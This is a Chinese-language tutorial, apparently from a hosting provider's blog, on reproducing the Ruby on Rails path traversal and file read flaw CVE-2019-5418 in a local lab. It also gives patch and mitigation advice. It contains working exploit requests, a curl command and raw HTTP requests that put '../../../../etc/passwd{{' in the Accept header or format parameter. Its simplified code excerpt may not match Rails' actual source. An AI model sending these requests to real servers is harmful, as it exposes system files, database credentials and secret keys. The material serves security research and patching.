怎么进行Ruby on Rails路径穿越与任意文件读取漏洞CVE-2019-5418复现

发布时间:2021-12-27 18:40:12 作者:柒染
来源:亿速云 阅读:158
# 怎么进行Ruby on Rails路径穿越与任意文件读取漏洞CVE-2019-5418复现

## 漏洞概述

CVE-2019-5418是Ruby on Rails框架中存在的一个高危漏洞,影响版本范围为Rails 5.2.0至5.2.2.1。该漏洞源于开发模式下的异常处理机制未对用户输入进行充分过滤,攻击者可通过构造特殊路径实现目录穿越,最终导致服务器敏感文件泄露。

## 漏洞原理

在开发模式下,Rails的`ActionDispatch::FileHandler`组件处理静态文件请求时存在缺陷:
1. 当请求不存在的模板文件时,Rails会尝试渲染错误页面
2. 错误页面模板路径由用户控制的`Accept`头或文件扩展名拼接而成
3. 攻击者可通过`../../`实现路径穿越,读取系统任意文件

## 环境搭建

### 准备条件
- 虚拟机或Docker环境
- Ruby 2.5+ 环境
- 存在漏洞的Rails版本(如5.2.1)

```bash
# 安装指定版本Rails
gem install rails -v 5.2.1

# 创建测试应用
rails new vulnerable_app
cd vulnerable_app

启动开发服务器

rails server -e development -p 3000

漏洞复现步骤

方法一:通过Accept头利用

  1. 使用curl发送恶意请求:
curl -H "Accept: ../../../../etc/passwd{{" http://localhost:3000/
  1. 或使用Burp Suite构造请求:
GET / HTTP/1.1
Host: localhost:3000
Accept: ../../../../etc/passwd{{

方法二:通过文件扩展名利用

  1. 访问不存在的路由并附加恶意参数:
http://localhost:3000/not_exist?format=../../../../etc/passwd%257b%257b

预期结果

服务器将返回/etc/passwd文件内容,证明漏洞存在。

影响范围验证

成功利用后可以读取: - 系统敏感文件(/etc/passwd) - Rails应用配置文件(config/database.yml) - 密钥文件(config/secrets.yml) - 源代码文件

修复方案

临时缓解措施

  1. 关闭开发模式
  2. 添加中间件过滤Accept头中的特殊字符

官方补丁

升级到以下版本: - Rails 5.2.2.2+ - Rails 6.0.0.beta3+

升级命令:

gem update rails

技术分析

漏洞核心代码如下(简化版):

def render_for_browser_request
  template = MissingTemplate.new(..., params[:format])
  render html: template.to_s.html_safe
end

format参数包含路径穿越符号时,MissingTemplate会将其拼接到文件路径中,导致不安全文件访问。

防御建议

  1. 对所有用户输入进行规范化处理
  2. 实施严格的路径访问控制
  3. 生产环境禁用详细错误信息
  4. 定期更新框架版本

参考链接

”`

注:本文仅用于安全研究与授权测试,未经授权对他人系统进行测试属于违法行为。实际操作请确保获得系统所有者书面授权。

推荐阅读:
  1. vuejs使用$emit和$on进行组件之间的传值的示例
  2. 10 个必备而且非常有用的 Ruby on Rails 4 Gems分别是哪些

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

ruby on rails cve-2019-5418

上一篇:如何实现Apache Tomcat 远程代码执行漏洞CVE-2019-0232的复现

下一篇:如何进行SMBGhost漏洞CVE-2020-0796复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》